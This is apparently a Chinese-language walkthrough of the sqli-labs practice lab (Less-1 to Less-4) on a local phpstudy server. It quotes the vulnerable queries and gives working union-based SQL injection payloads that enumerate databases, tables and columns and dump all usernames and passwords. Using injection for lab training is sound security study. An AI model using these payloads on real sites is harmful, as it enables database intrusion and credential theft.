首先我们通过文本编辑器中打开文件夹中的“index.php"
在这里面我们可以看到相应题目里面的sql语句:
如上图中的 “ $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ”即为less-1的sql语句,大意便是“在users表的id列中寻找 $id”,
当我们在网址后输入“?id=1”时, $sql中就会将我们输入的"id= "后面的部分代入至$id中去。
而当我们在地址中输入id=1'--+时,网页并不会报错,所以我们可以在“--+”前输入一些我们自己的代码来得到我们想要的数据或结果。
所以第一题我们可以使用“?id=1' and 1=1 --+”来完成。
Less-2中sql语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-3中sql语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Less-4中sql语句:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可见前四题的类型大体是差不多的,仅仅只是结构方面有些区别,因此只需进行一些简单的变换便能得到各题的结果。
而假如我们想要得到这个数据库里的一些其他的信息,那么我们就需要一些别的方法和工具来得到我们想要的结果。在后文,笔者将使用小皮(phpstudy)中提供的SQL_Front5.3进行演示。
在localhost-security-users中打开SQL编辑器:
使用 select * from users 显示users表中的所以内容。
在此我们可以使用 select * from users union select 1,2,3 在表上新建出一列
select * from users id=1000' union select 1,database(),version() --+ 在第二三列显示数据库的名称和mysql的版本。
select * from users id=1000' union select 1,group_concat(schema_name) ,3 from information_schema.schemata --+ 显示服务器中有那些数据库。
select * from users id=1000' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+ 显示当前库中有那些表,其中有users表。
select * from users id=1000' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema='security' --+
显示当前库的users表中有那些字段,其中有username,password字段。
select * from users id=1000' union select 1,group_concat(concat_ws(':',username,password)) ,3 from users --+ 显示users表中所有用户和密码。